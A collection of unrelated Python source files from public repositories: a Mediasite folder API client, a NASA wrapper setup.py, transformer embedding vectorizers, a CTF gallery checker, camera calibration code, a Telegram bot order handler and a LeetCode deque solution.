self.em.set_footer(text="").timestamp = Embed.Empty
await self.post()
return real
async def confirm_action(
client, src: Message, title: str, desc: str, timeout: int = 30
) -> Optional[bool]:
author: User = src.author
channel: TextChannel = src.channel
m = Menu(client, channel, title, desc, author)
return await m.get_bool(timeout)
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] |
assets/mediasite/modules/folder.py | UbiCastTeam/mediasite_client | 0 | 1616469 | <reponame>UbiCastTeam/mediasite_client<filename>assets/mediasite/modules/folder.py
"""
Mediasite client class for folder-sepcific actions
Last modified: December 2020
By: <NAME>
License: MIT - see license.txt
"""
import logging
class folder():
def __init__(self, mediasite, *args, **kwargs):
self.mediasite = mediasite
self.root_folder_id = self.get_root_folder_id()
self.folders = list()
def gather_folders(self, parent_id=None):
"""
Gathers mediasite child folder name, ID, and parent ID listing from mediasite system
based on provided parent mediasite folder ID
params:
parent_id: mediasite parent folder ID for use as a reference point in this function
returns:
list of dictionary items containing child mediasite folder names, ID's, and parent folder ID's
"""
if not parent_id:
parent_id = self.root_folder_id
ms_folders = []
logging.info("Gathering Mediasite folders")
#request existing (non-recycled) mediasite folder information based on parent folder ID provided to function
query_params = f"$filter=ParentFolderId eq '{parent_id}' and Recycled eq false"
result = self.mediasite.api_client.request("get", "Folders", query_params)
if self.mediasite.experienced_request_errors(result):
return result
else:
#for each item in the result create a dictionary with name, ID, and parent ID elements for reference
for folder in result.json()["value"]:
ms_folders.append({
"name": folder["Name"],
"id": folder["Id"],
"parent_id": folder["ParentFolderId"]
})
#add the listing of folder data to the model for later use
self.mediasite.model.set_folders(ms_folders, parent_id)
return ms_folders
def get_root_folder_id(self):
"""
Gathers mediasite root folder ID for use with other functions.
Note: finding the root folder ID is somewhat of a workaround as normal requests for the "Mediasite" root folder
do not appear to yield any data. The "Mediasite Users" folder appears as a standard folder on most installations
and therefore serves as a reference point to determine the root folder. This may need to change in the future based
on Mediasite version default changes.
returns:
the parent ID of the mediasite "Mediasite Users" folder
"""
logging.info("Gathering Mediasite root folder id")
#request mediasite folder information on the "Mediasite Users" folder
result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq 'Mediasite Users' and Recycled eq false")
if self.mediasite.experienced_request_errors(result):
return result
else:
#return the parent ID of the mediasite "Mediasite Users" folder
self.mediasite.model.set_root_parent_folder_id(result.json()["value"][0]["ParentFolderId"])
return result.json()["value"][0]["ParentFolderId"]
def create_folder(self, folder_name, parent_id):
"""
Creates mediasite folder based on provided name and parent folder ID
params:
folder_name: name desired for the new mediasite folder
parent_id: mediasite parent folder ID for use as a reference point in this function
returns:
resulting response from the mediasite web api request for folder data
"""
folder_search_result = self.find_folder_by_name_and_parent_id(folder_name, parent_id)
if int(folder_search_result["odata.count"]) > 0:
logging.info("Found existing folder '"+folder_name+"' under parent "+parent_id)
return folder_search_result["value"][0]
logging.info("Creating folder '"+folder_name+"' under parent "+parent_id)
#prepare post data for use in creating the folder
post_data = {"Name":folder_name,
"Description":"",
"ParentFolderId":parent_id
}
#make the mediasite request using the post data found above to create the folder
result = self.mediasite.api_client.request("post", "Folders", "", post_data).json()
if self.mediasite.experienced_request_errors(result):
return result
else:
#if there is an error, log it
if "odata.error" in result:
logging.error(result["odata.error"]["code"]+": "+result["odata.error"]["message"]["value"])
return result
def find_folder_by_name_and_parent_id(self, folder_name, parent_id=""):
"""
Finds mediasite folder based on provided name and parent folder ID
params:
folder_name: name desired for the new mediasite folder
parent_id: mediasite parent folder ID for use as a reference point in this function
returns:
resulting response from the mediasite web api request to find the folder
"""
logging.info("Searching for folder '"+folder_name+"' under parent "+parent_id)
if parent_id == "":
parent_id = self.mediasite.model.get_root_parent_folder_id()
#make the mediasite request using the post data found above to create the folder
result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq '"+folder_name+"' and ParentFolderId eq '"+parent_id+"' and Recycled eq false", "").json()
if self.mediasite.experienced_request_errors(result):
return result
else:
#if there is an error, log it
if "odata.error" in result:
logging.error(result["odata.error"]["code"]+": "+result["odata.error"]["message"]["value"])
return result
def find_recycled_folder_by_name_and_parent_id(self, folder_name, parent_id):
"""
Finds mediasite folder based on provided name and parent folder ID
params:
folder_name: name desired for the new mediasite folder
parent_id: mediasite parent folder ID for use as a reference point in this function
returns:
resulting response from the mediasite web api request to find the folder
"""
logging.info("Searching for recycled folder '"+folder_name+"' under parent "+parent_id)
#make the mediasite request using the post data found above to create the folder
result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq '"+folder_name+"' and ParentFolderId eq '"+parent_id+"'and Recycled eq true", "").json()
if self.mediasite.experienced_request_errors(result):
return result
else:
#if there is an error, log it
if "odata.error" in result:
logging.error(result["odata.error"]["code"]+": "+result["odata.error"]["message"]["value"])
return result
def get_presentations_and_schedules_by_parent_folder_name(self, folder_name):
"""
Gathers schedules and presentations found under one parent folder, searching each child folder underneath
params:
folder_name: name of the mediasite folder
returns:
details of schedules and presentations found within mediasite folder
"""
folder = mediasite.folder.get_folder_by_name(folder_name)
if int(folder.json()["odata.count"]) > 0:
parent_id = folder.json()["value"][0]["Id"]
child_folders = mediasite.folder.get_child_folders(parent_id)
child_folders.append(folder.json()["value"][0])
presentations = []
schedules = []
for folder in child_folders:
presentations_result = mediasite.folder.get_folder_presentations(folder["Id"])
[presentations.append(presentation) for presentation in presentations_result.json()["value"]]
schedules_result = mediasite.folder.get_folder_schedules(folder["Id"])
print(schedules_result.json())
[schedules.append(schedule) for schedule in schedules_result.json()["value"]]
return presentations, schedules
def get_folder_schedules(self, parent_id):
"""
Gathers schedules found under mediasite folder given folder's id
params:
parent_id: id of mediasite folder
returns:
details of schedules found within mediasite folder
Note: this makes use of the "schedules" Mediasite API calls as no related "folders" call exists at this time.
"""
logging.info("Finding Mediasite presentations under parent: "+parent_id)
result = self.mediasite.api_client.request("get", "Schedules", "$top=100&$filter=FolderId eq '"+parent_id+"'","")
if self.mediasite.experienced_request_errors(result):
return result
else:
return result
def get_folder_presentations(self, parent_id):
"""
Gathers presentations found under mediasite folder given folder's id
params:
parent_id: id of mediasite folder
all_data: having all web api response
returns:
details of presentations found within mediasite folder,
only id, title, and owner if all_data is disabled
"""
logging.debug("Finding Mediasite presentations under parent: " + parent_id)
increment = 50
folder_presentations = []
next_page = f'$select=full&$skip=0&$top={increment}'
while next_page:
result = self.mediasite.api_client.request("get", f"Folders(\'{parent_id}\')/Presentations", next_page)
if not self.mediasite.experienced_request_errors(result):
result = result.json()
data = result['value']
folder_presentations.extend(data)
next_link = result.get('odata.nextLink')
next_page = next_link.split('?')[-1] if next_link else None
return folder_presentations
def get_folder_catalogs(self, parent_id):
"""
Gathers presentations found under mediasite folder given folder's id
params:
parent_id: id of mediasite folder
returns:
details of presentations found within mediasite folder
"""
logging.info(f'Finding Mediasite catalogs under folder parent: {parent_id}')
data = list()
next_page = f"$top=600&$filter=LinkedFolderId eq '{parent_id}'"
result = self.mediasite.api_client.request("get", "Catalogs", next_page)
next_page = str()
if not self.mediasite.experienced_request_errors(result):
result = result.json()
data.extend(result.get('value'))
next_page = result.get('odata.nextLink')
while next_page:
result = self.mediasite.api_client.request("get", "Catalogs", next_page)
if not self.mediasite.experienced_request_errors(result):
result = result.json()
data.extend(result.get('value'))
next_page = result.get('odata.nextLink')
return data
def get_child_folders(self, parent_id, child_result=[]):
"""
Gathers mediasite child folders given parent id of a folder
params:
parent_id: id of mediasite folder
returns:
list of child folder id's associated with the given parent folder id
"""
logging.debug("Finding child Mediasite folders under parent: "+parent_id)
result = self.mediasite.api_client.request("get", "Folders", "$top=100&$filter=ParentFolderId eq '"+parent_id+"' and Recycled eq false","")
if self.mediasite.experienced_request_errors(result) or int(result.json()["odata.count"]) <= 0:
return result
else:
for folder in result.json()["value"]:
child_result.append(folder)
self.get_child_folders(folder["Id"], child_result)
return child_result
def get_folder_by_name(self, folder_name):
"""
Gathers folder information given folder name within mediasite
params:
folder_name: name of folder which is to be found by name
returns:
the parent ID of the mediasite "Mediasite Users" folder
"""
logging.info("Finding Mediasite folder information with name of: "+folder_name)
result = self.mediasite.api_client.request("get", "Folders", "$filter=Name eq '"+folder_name+"' and Recycled eq false","").json()
if self.mediasite.experienced_request_errors(result):
return result
else:
return result
def get_folder_by_id(self, folder_id):
"""
Gathers folder information given folder name within mediasite
params:
folder_name: name of folder which is to be found by name
returns:
the parent ID of the mediasite "Mediasite Users" folder
"""
logging.info("Finding Mediasite folder information with id of: "+folder_id)
result = self.mediasite.api_client.request("get", "Folders('"+folder_id+"')", "", "","").json()
if self.mediasite.experienced_request_errors(result):
return result
else:
return result
def get_all_folders(self, max_folders=None):
"""
Gathers all mediasite folders name, ID, and parent ID listing from mediasite system
returns:
list of dictionary items containing mediasite folder names, owner, ID's and parent folder ID's
"""
logging.info("Gathering all Mediasite folders")
if not self.folders:
increment = 1000
folders = []
next_page = f'$skip=0&$top={increment}&$select=full'
while next_page:
result = self.mediasite.api_client.request('get', 'Folders', next_page)
if not self.mediasite.experienced_request_errors(result):
result = result.json()
folder = result['value']
folders.extend(folder)
next_link = result.get('odata.nextLink')
next_page = next_link.split('?')[-1] if next_link else None
if max_folders and len(folders) > int(max_folders):
break
self.mediasite.model.set_folders(folders)
self.folders = folders
return self.folders
def parse_and_create_folders(self, folders, parent_id=""):
"""
Parse the provided path of folders in the GUI, delimeted by "/" and create each
under the selected existing root folder within mediasite.
params:
folders: string containing multiple folders split by "/"
parent_id: mediasite parent folder ID for use as a reference point in this function
returns:
final mediasite folder id (lowest level folder)
"""
if parent_id == "":
parent_id = self.mediasite.model.get_root_parent_folder_id()
folders_list = folders.split("/")
#loop through our folders list creating each folder using the parent of the last
for folder in folders_list:
if folder != "":
result = self.create_folder(folder, parent_id)
if "Id" in result:
parent_id = result["Id"]
else:
break
return parent_id
def delete_folder(self, folder_id):
"""
Deletes folder based on folder guid id provided as argument
params:
folder_id: guid of folder to delete
returns:
response from mediasite system
"""
logging.info("Deleting mediasite folder with guid of: "+folder_id)
result = self.mediasite.api_client.request("post", "Folders('"+folder_id+"')/DeleteFolder", "",{})
if self.mediasite.experienced_request_errors(result):
return result
else:
return result
def delete_folder_by_path(self, folder_path):
"""
Deletes parent folder including potentially many child folder or sub-elements
params:
folder_path: mediasite management portal folder path, for ex "/Current/Spring 2018/Test"
returns:
response from mediasite system
"""
parent_id = ""
#for each folder found in provided path, find it by name and parent folder guid
for folder_name in folder_path.split("/")[1:]:
result = self.mediasite.folder.find_folder_by_name_and_parent_id(folder_name, parent_id)
if int(result["odata.count"]) > 0:
for item in result["value"]:
if item["Name"] == folder_name:
parent_id = item["Id"]
else:
#if we don't find one of the folders in the provided path, return to stop this function from continuing
logging.error("Unable to find folder in provided path: "+folder_name)
return
#remove "recorded" presentations and schedules as these can prevent folders from being deleted
child_folders = self.mediasite.folder.get_child_folders(parent_id)
child_folders.append({"Id":parent_id})
#gather catalogs as these will be needed later
self.mediasite.catalog.get_all_catalogs()
catalogs = self.mediasite.model.get_catalogs()
for folder in child_folders:
folder_presentations = self.mediasite.folder.get_folder_presentations(folder["Id"])
#presentation loop to remove presentations with a status of "Recorded" or "Record"
folder_presentations_json = folder_presentations.json()
if int(folder_presentations_json["odata.count"]) > 0:
for presentation in folder_presentations_json["value"]:
print(presentation["Status"])
#if presentation["Status"] == "Recorded" or presentation["Status"] == "Record":
logging.info("Deleting presentation "+presentation["Title"]+" to ensure capability to delete parent folder(s).")
delete_result = self.mediasite.presentation.delete_presentation(presentation["Id"])
#schedule loop to remove schedules
folder_schedules = self.mediasite.folder.get_folder_schedules(folder["Id"])
folder_schedules_json = folder_schedules.json()
if int(folder_schedules_json["odata.count"]) > 0:
for schedule in folder_schedules_json["value"]:
logging.info("Deleting schedule "+ schedule["Name"]+" to ensure capability to delete parent folder(s).")
delete_result = self.mediasite.schedule.delete_schedule(schedule["Id"])
for catalog in catalogs:
if catalog["LinkedFolderId"] == folder["Id"]:
logging.info("Deleting catalog "+catalog["Id"]+" to ensure capability to delete parent folder(s).")
self.mediasite.catalog.delete_catalog(catalog["Id"])
result = self.mediasite.folder.delete_folder(folder["Id"])
job_result = self.mediasite.wait_for_job_to_complete(result.json()["odata.id"])
result = self.mediasite.folder.delete_folder(parent_id)
job_result = self.mediasite.wait_for_job_to_complete(result.json()["odata.id"])
#note: this appears to be the only way with these particular jobs to determine a successful run (despite actual message contents)
if job_result:
if job_result["odata.error"]["message"]["value"] == "The job completion state is missing.":
logging.info("Successfully deleted folder(s) and related items. Note: folder and some items will remain in recycling bin until further action is taken.")
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] |
setup.py | wrap-api/python-nasa | 0 | 132642 | <gh_stars>0
from typing import List, Text
import nasa
from setuptools import setup
with open("README.md") as readme_file:
readme: Text = readme_file.read()
requirements: List[Text] = ["requests", "pillow"]
test_requirements: List[Text] = ["requests", "pre-commit", "pillow", "wheel"]
setup(
name="python-nasa",
version=nasa.__version__,
description="Unofficial Python Wrapper for NASA API",
long_description=readme,
long_description_content_type="text/markdown",
url="https://github.com/wrap-api/python-nasa",
download_url="https://github.com/wrap-api/python-nasa/archive/main.tar.gz",
author=nasa.__author__,
author_email=nasa.__email__,
packages=["nasa"],
package_dir={"nasa": "nasa"},
include_package_data=True,
license="MIT",
install_requires=requirements,
tests_require=test_requirements,
keywords="nasa planet astronomy image galaxy earth",
classifiers=[
"Development Status :: 2 - Pre-Alpha",
"Intended Audience :: Developers",
"License :: OSI Approved :: MIT License",
"Natural Language :: English",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
],
)
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src/python/zensols/deepnlp/transformer/vectorizers.py | plandes/deepnlp | 7 | 133065 | <gh_stars>1-10
"""Contains classes that are used to vectorize documents in to transformer
embeddings.
"""
__author__ = '<NAME>'
from typing import Tuple, List, Dict
from dataclasses import dataclass, field
import logging
from itertools import chain
import torch
from torch import Tensor
from zensols.persist import persisted, Deallocatable
from zensols.deeplearn.vectorize import (
VectorizerError, TensorFeatureContext, EncodableFeatureVectorizer,
FeatureContext, MultiFeatureContext, AggregateEncodableFeatureVectorizer,
NominalEncodedEncodableFeatureVectorizer
)
from zensols.nlp import FeatureDocument, TokenAnnotatedFeatureSentence
from zensols.deepnlp.vectorize import (
EmbeddingFeatureVectorizer, TextFeatureType, FeatureDocumentVectorizer
)
from . import (
TransformerEmbedding, TokenizedDocument, TokenizedFeatureDocument
)
logger = logging.getLogger(__name__)
@dataclass
class TransformerFeatureContext(FeatureContext, Deallocatable):
"""A vectorizer feature contex used with
:class:`.TransformerEmbeddingFeatureVectorizer`.
"""
document: TokenizedDocument = field()
"""The document used to create the transformer embeddings.
"""
def deallocate(self):
super().deallocate()
self._try_deallocate(self.document)
del self.document
@dataclass
class TransformerFeatureVectorizer(EmbeddingFeatureVectorizer,
FeatureDocumentVectorizer):
"""Base class for classes that vectorize transformer models. This class also
tokenizes documents.
"""
is_labeler: bool = field(default=False)
"""If ``True``, make this a labeling specific vectorizer. Otherwise, certain
layers will use the output of the vectorizer as features rather than the
labels.
"""
def _assert_token_output(self, expected: str = 'last_hidden_state'):
if self.embed_model.output != expected:
raise VectorizerError(f"""\
Expanders only work at the token level, so output such as \
`{expected}`, which provides an output for each token in the \
transformer embedding, is required, got: {self.embed_model.output}""")
@property
def feature_type(self) -> TextFeatureType:
if self.is_labeler:
return TextFeatureType.NONE
else:
return self.FEATURE_TYPE
@property
def word_piece_token_length(self) -> int:
return self.embed_model.tokenizer.word_piece_token_length
def _get_shape(self) -> Tuple[int, int]:
return self.word_piece_token_length, self.embed_model.vector_dimension
def tokenize(self, doc: FeatureDocument) -> TokenizedFeatureDocument:
"""Tokenize the document in to a token document used by the encoding phase.
:param doc: the document to be tokenized
"""
emb: TransformerEmbedding = self.embed_model
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'synthesized document: {doc}')
return emb.tokenize(doc)
@dataclass
class TransformerEmbeddingFeatureVectorizer(TransformerFeatureVectorizer):
"""A feature vectorizer used to create transformer (i.e. Bert) embeddings. The
class uses the :obj:`.embed_model`, which is of type
:class:`.TransformerEmbedding`.
Note the encoding input ideally are sentences shorter than 512 tokens.
However, this vectorizer can accommodate both :class:`.FeatureSentence` and
:class:`.FeatureDocument` instances.
"""
DESCRIPTION = 'transformer document embedding'
FEATURE_TYPE = TextFeatureType.EMBEDDING
def __post_init__(self):
super().__post_init__()
if self.encode_transformed and self.embed_model.trainable:
# once the transformer last hidden state is dumped during encode
# the parameters are lost, which are needed to train the model
# properly
raise VectorizerError('a trainable model can not encode ' +
'transformed vectorized features')
def _encode(self, doc: FeatureDocument) -> FeatureContext:
tok_doc = self.tokenize(doc).detach()
return TransformerFeatureContext(self.feature_id, tok_doc)
def _decode(self, context: TransformerFeatureContext) -> Tensor:
emb: TransformerEmbedding = self.embed_model
if logger.isEnabledFor(logging.INFO):
logger.info(f'decoding {len(context.document)} documents with ' +
f'trainable: {emb.trainable}')
tok_doc: TokenizedDocument
arr: Tensor
if emb.trainable:
arr = context.document.tensor
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'passing through tensor: {arr.shape}')
else:
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'transforming doc: {context.document}')
arr = emb.transform(context.document)
if logger.isEnabledFor(logging.INFO):
logger.info(f'decoded trans layer {arr.shape} on {arr.device}')
return arr
@dataclass
class TransformerExpanderFeatureContext(MultiFeatureContext):
"""A vectorizer feature contex used with
:class:`.TransformerExpanderFeatureVectorizer`.
"""
document: TokenizedDocument = field()
"""The document used to create the transformer embeddings.
"""
def deallocate(self):
super().deallocate()
self._try_deallocate(self.document)
del self.document
@dataclass
class TransformerExpanderFeatureVectorizer(TransformerFeatureVectorizer):
"""A vectorizer that expands lingustic feature vectors to their respective
locations as word piece token vectors.
This is used to concatenate lingustic features with Bert (and other
transformer) embeddings. Each lingustic token is copied in the word piece
token location across all vectorizers and sentences.
:shape: (-1, token length, X), where X is the sum of all the delegate
shapes across all three dimensions
"""
DESCRIPTION = 'transformer expander'
FEATURE_TYPE = TextFeatureType.TOKEN
delegate_feature_ids: Tuple[str] = field(default=None)
"""A list of feature IDs of vectorizers whose output will be expanded."""
def __post_init__(self):
super().__post_init__()
if self.delegate_feature_ids is None:
raise VectorizerError('expected attribute: delegate_feature_ids')
self._assert_token_output()
self._validated = False
def _validate(self):
if not self._validated:
for vec in self.delegates:
if hasattr(vec, 'feature_tye') and \
vec.feature_type != TextFeatureType.TOKEN:
raise VectorizerError('Only token level vectorizers are ' +
f'supported, but got {vec}')
self._validated = True
def _get_shape(self) -> Tuple[int, int]:
shape = [-1, self.word_piece_token_length, 0]
vec: FeatureDocumentVectorizer
for vec in self.delegates:
shape[2] += vec.shape[-1]
return tuple(shape)
@property
@persisted('_delegates', allocation_track=False)
def delegates(self) -> EncodableFeatureVectorizer:
"""The delegates used for encoding and decoding the lingustic features.
"""
return tuple(map(lambda f: self.manager[f], self.delegate_feature_ids))
def _encode(self, doc: FeatureDocument) -> FeatureContext:
self._validate()
tok_doc = self.tokenize(doc).detach()
cxs = tuple(map(lambda vec: vec.encode(doc), self.delegates))
return TransformerExpanderFeatureContext(self.feature_id, cxs, tok_doc)
def _decode(self, context: TransformerExpanderFeatureContext) -> Tensor:
doc: TokenizedDocument = context.document
arrs: List[Tensor] = []
# decode subordinate contexts
vec: FeatureDocumentVectorizer
ctx: FeatureContext
for vec, ctx in zip(self.delegates, context.contexts):
src = vec.decode(ctx)
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'decoded shape ({vec.feature_id}): {src.shape}')
arrs.append(src)
# get the mapping per sentence
wps_sents = tuple(map(lambda s: doc.map_word_pieces(s), doc.offsets))
tlen = self.word_piece_token_length
# use variable length tokens
if tlen <= 0:
tlen = max(chain.from_iterable(
chain.from_iterable(
map(lambda s: map(lambda t: t[1], s), wps_sents))))
# max findes the largest index, so add 1 for size
tlen += 1
# add another (to be zero) for the ending sentence boudary
tlen += 1 if doc.boundary_tokens else 0
# number of sentences
n_sents = len(wps_sents)
# feature dimension (last dimension)
dim = sum(map(lambda x: x.size(-1), arrs))
# tensor to populate
marr = self.torch_config.zeros((n_sents, tlen, dim))
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'sents: {n_sents}, token length: {tlen}, dim: {dim}')
sent: Tensor
arr: Tensor
wps: Tuple[Tuple[Tensor, List[int]]]
marrix = 0
# iterate feature vectors
for arr in arrs:
ln = arr.size(-1)
meix = marrix + ln
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'feature range: [{marrix}:{meix}]')
# iterate sentences
for six, (sent, wps) in enumerate(zip(doc.offsets, wps_sents)):
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'expanding for {arr.shape} in ' +
f'[{six},:,{marrix}:{meix}]')
# iterate lingustic / word piece tokens
for tix, wpixs in wps:
# for each word piece mapping, copy the source feature
# vector to the target, thereby expanding and increasing
# the size of the last dimsion
for wix in wpixs:
if False and logger.isEnabledFor(logging.DEBUG):
logger.debug(f'[{six}, {wix}, {marrix}:{meix}] ' +
f'= [{six}, {tix}]')
marr[six, wix, marrix:meix] = arr[six, tix]
marrix += ln
return marr
@dataclass
class TransformerNominalFeatureVectorizer(
AggregateEncodableFeatureVectorizer, TransformerFeatureVectorizer):
"""This creates word piece (maps to tokens) labels. This class uses a
:class:`~zensols.deeplearn.vectorize.NominalEncodedEncodableFeatureVectorizer``
to map from string labels to their nominal long values. This allows a
single instance and centralized location where the label mapping happens in
case other (non-transformer) components need to vectorize labels.
"""
DESCRIPTION = 'transformer seq labeler'
FEATURE_TYPE = TextFeatureType.TOKEN
delegate_feature_id: str = field(default=None)
"""The feature ID for the aggregate encodeable feature vectorizer."""
is_labeler: bool = field(default=True)
"""If ``True``, make this a labeling specific vectorizer. Otherwise, certain
layers will use the output of the vectorizer as features rather than the
labels.
"""
label_all_tokens: bool = field(default=False)
"""If ``True``, label all word piece tokens with the corresponding linguistic
token label. Otherwise, the default padded value is used, and thus,
ignored by the loss function when calculating loss.
"""
def __post_init__(self):
super().__post_init__()
if self.delegate_feature_id is None:
raise VectorizerError('expected attribute: delegate_feature_id')
self._assert_token_output()
def _get_shape(self) -> Tuple[int, int]:
shape = super()._get_shape()
return (-1, self.word_piece_token_length, shape[-1])
def _encode(self, doc: FeatureDocument) -> FeatureContext:
delegate: NominalEncodedEncodableFeatureVectorizer = self.delegate
tdoc: TokenizedDocument = self.tokenize(doc)
by_label: Dict[str, int] = delegate.by_label
n_sents = len(doc)
if self.word_piece_token_length > 0:
n_toks = self.word_piece_token_length
else:
n_toks = len(tdoc)
if logger.isEnabledFor(logging.DEBUG):
logger.debug('encoding using {n_toks} tokens with wp len: ' +
f'{self.word_piece_token_length}')
dtype: torch.dtype = delegate.data_type
arr = self.create_padded_tensor((n_sents, n_toks, 1), dtype)
if logger.isEnabledFor(logging.DEBUG):
logger.debug(f'output shape: {arr.shape}/{self.shape}')
sent: TokenAnnotatedFeatureSentence
for six, sent in enumerate(doc):
sent_labels = sent.annotations
word_ids = tdoc.offsets[six]
previous_word_idx = None
for tix, word_idx in enumerate(word_ids):
# special tokens have a word id that is None. We set the label
# to -100 so they are automatically ignored in the loss
# function.
if word_idx == -1:
pass
# we set the label for the first token of each word.
elif word_idx != previous_word_idx:
arr[six][tix] = by_label[sent_labels[word_idx]]
# for the other tokens in a word, we set the label to either
# the current label or -100, depending on the label_all_tokens
# flag
elif self.label_all_tokens:
arr[six][tix] = by_label[sent_labels[word_idx]]
previous_word_idx = word_idx
return TensorFeatureContext(self.feature_id, arr)
def _decode(self, context: TransformerFeatureContext) -> Tensor:
return TransformerFeatureVectorizer._decode(self, context)
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checkers/gallery/paintings.py | vient/proctf-2019 | 2 | 88317 | import os
import pathlib
import random
TEAMS_COUNT = 30
PAINTINGS_DIR = pathlib.Path("paintings")
def next_painting(team_num):
files = []
team_dir = PAINTINGS_DIR / team_num
for x in team_dir.iterdir():
if x.suffix == ".jpg" and not x.stem.endswith("_replica") and not x.stem.endswith("_copy"):
files.append(x)
random_file = random.choice(files)
new_name = random_file.stem + ".bak"
random_file.rename(team_dir / new_name)
with open(team_dir / new_name, "rb") as file:
return (new_name, file.read())
def get_replica(team_num, file_name):
team_dir = PAINTINGS_DIR / team_num
replica_name = pathlib.Path((team_dir / file_name).stem + "_replica.jpg")
with open(team_dir / replica_name, "rb") as file:
return (replica_name, file.read())
def get_copy(team_num, file_name):
team_dir = PAINTINGS_DIR / team_num
replica_name = pathlib.Path((team_dir / file_name).stem + "_copy.jpg")
with open(team_dir / replica_name, "rb") as file:
return (replica_name, file.read())
def get_random_painting(team_num, file_name):
files = []
team_dir = PAINTINGS_DIR / team_num
for x in team_dir.iterdir():
if x.name != file_name and ((x.suffix == ".jpg" and not x.stem.endswith("_replica") and not x.stem.endswith("_copy")) or (x.suffix == ".bak")):
files.append(x)
random_file = random.choice(files)
with open(team_dir / random_file.name, "rb") as file:
return (random_file.name, file.read())
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libs/camera_cal.py | kavach-feature/Advanced_lane_finding | 0 | 86691 | <reponame>kavach-feature/Advanced_lane_finding
import numpy as np
import cv2
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import glob
#%matplotlib inline
images= glob.glob('./camera_cal/calibration*.jpg')
def cal_undistort(img, objpoints, imgpoints):
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1], None,None)
undist = cv2.undistort(img, mtx, dist, None, mtx)
return undist, mtx, dist
def compute_calibration_points():
objpoints=[]
imgpoints=[]
objp=np.zeros((6*9,3), np.float32)
objp[:,:2]= np.mgrid[0:9,0:6].T.reshape(-1,2)
for fname in images:
img = mpimg.imread(fname)
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
ret, corners = cv2.findChessboardCorners(gray, (9, 6), None)
if ret == True:
imgpoints.append(corners)
objpoints.append(objp)
return imgpoints, objpoints
def render_original_undistorted_image(image1, image2):
f, (ax1, ax2) = plt.subplots(1, 2, figsize=(24, 9))
f.tight_layout()
ax1.imshow(image1)
ax1.set_title("Original Image", fontsize=50)
ax2.imshow(image2)
ax2.set_title("Distortion Corrected image", fontsize=50)
plt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.)
plt.show()
def get_undistorted_image(orig_image):
imgpoints, objpoints = compute_calibration_points()
undist_road_image, mtx, dist_coefficients = cal_undistort(orig_image, objpoints, imgpoints)
return undist_road_image
"""
imgpoints, objpoints = compute_calibration_points()
img = mpimg.imread('./camera_cal/calibration4.jpg')
undist, mtx, dist_coefficients = cal_undistort(img, objpoints, imgpoints)
#render_original_undistorted_image(img, undist)
image_path = './test_images/test5.jpg'
image = mpimg.imread(image_path)
undist_road_image, mtx, dist_coefficients = cal_undistort(image, objpoints, imgpoints)
render_original_undistorted_image(image,undist_road_image)""" | [
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] |
handlers/order_request/operation_type.py | itcosplay/cryptobot | 0 | 81642 | from traceback import print_exc
from aiogram import types
from aiogram.dispatcher import FSMContext
from loader import dp, bot
from states import Request
from keyboards import create_kb_coustom_main_menu
from utils import get_data_to_show
# from create_request.py
@dp.callback_query_handler(state=Request.operation_type)
async def set_operation_type (
call:types.CallbackQuery,
state:FSMContext
):
await call.answer()
await call.message.delete()
print(call.data)
if call.data == 'get_in' \
or call.data == 'get_out' \
or call.data == 'cash_in_ATM':
await state.update_data(operation_type=call.data)
currencies__how_much = []
await state.update_data (
currencies__how_much = currencies__how_much
)
result = await bot.send_message (
chat_id = call.message.chat.id,
text='введите сумму:'
)
await state.update_data(_del_message = result.message_id)
await Request.temp_sum_state.set()
# to temp_sum_message_handler.py
elif call.data == 'change':
await state.update_data(operation_type=call.data)
await state.update_data(currencies__recive=[])
await state.update_data(currencies__give=[])
await state.update_data(plus_minus='no')
result = await call.message.answer(f'Сколько принимаем?')
await state.update_data(_del_message = result.message_id)
await Request.how_much_recive.set()
# to how_much_recive.py
elif call.data == 'cash_out_ATM':
await state.update_data(operation_type='cash_out_ATM')
# request_data = await state.get_data()
# text, keyboard = get_data_to_show(request_data)
# await call.message.answer(text, reply_markup=keyboard)
currencies__how_much = []
await state.update_data (
currencies__how_much = currencies__how_much
)
result = await bot.send_message (
chat_id = call.message.chat.id,
text='введите сумму:'
)
await state.update_data(_del_message = result.message_id)
await Request.temp_sum_state.set()
# to temp_sum_message_handler.py
# await Request.type_end.set()
# to final_step_ordering.py
elif call.data == 'documents':
await state.update_data(operation_type=call.data)
request_data = await state.get_data()
result_data_to_show, keyboard = get_data_to_show(request_data)
await call.message.answer(text=result_data_to_show, reply_markup=keyboard)
await Request.type_end.set()
return
else:
await call.answer()
await call.message.answer (
f'Создание заявки отменено. Испльзуйте меню\n===========',
reply_markup=create_kb_coustom_main_menu(call.message.chat.id)
)
await state.finish()
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Python3/0641-Design-Circular-Deque/soln.py | wyaadarsh/LeetCode-Solutions | 5 | 133583 | class MyCircularDeque:
def __init__(self, k: int):
"""
Initialize your data structure here. Set the size of the deque to be k.
"""
self.nums = [0] * k
self.k = k
self.size = 0
self.front = -1
self.back = 0
def insertFront(self, value: int) -> bool:
"""
Adds an item at the front of Deque. Return true if the operation is successful.
"""
if not self.isFull():
self.size += 1
self.front = (self.front + 1) % self.k
self.nums[self.front] = value
return True
else:
return False
def insertLast(self, value: int) -> bool:
"""
Adds an item at the rear of Deque. Return true if the operation is successful.
"""
if not self.isFull():
self.size += 1
self.back -= 1
if self.back < 0:
self.back += self.k
self.nums[self.back] = value
return True
else:
return False
def deleteFront(self) -> bool:
"""
Deletes an item from the front of Deque. Return true if the operation is successful.
"""
if not self.isEmpty():
self.size -= 1
self.front = self.front - 1
if self.front < 0:
self.front += self.k
return True
else:
return False
def deleteLast(self) -> bool:
"""
Deletes an item from the rear of Deque. Return true if the operation is successful.
"""
if not self.isEmpty():
self.size -= 1
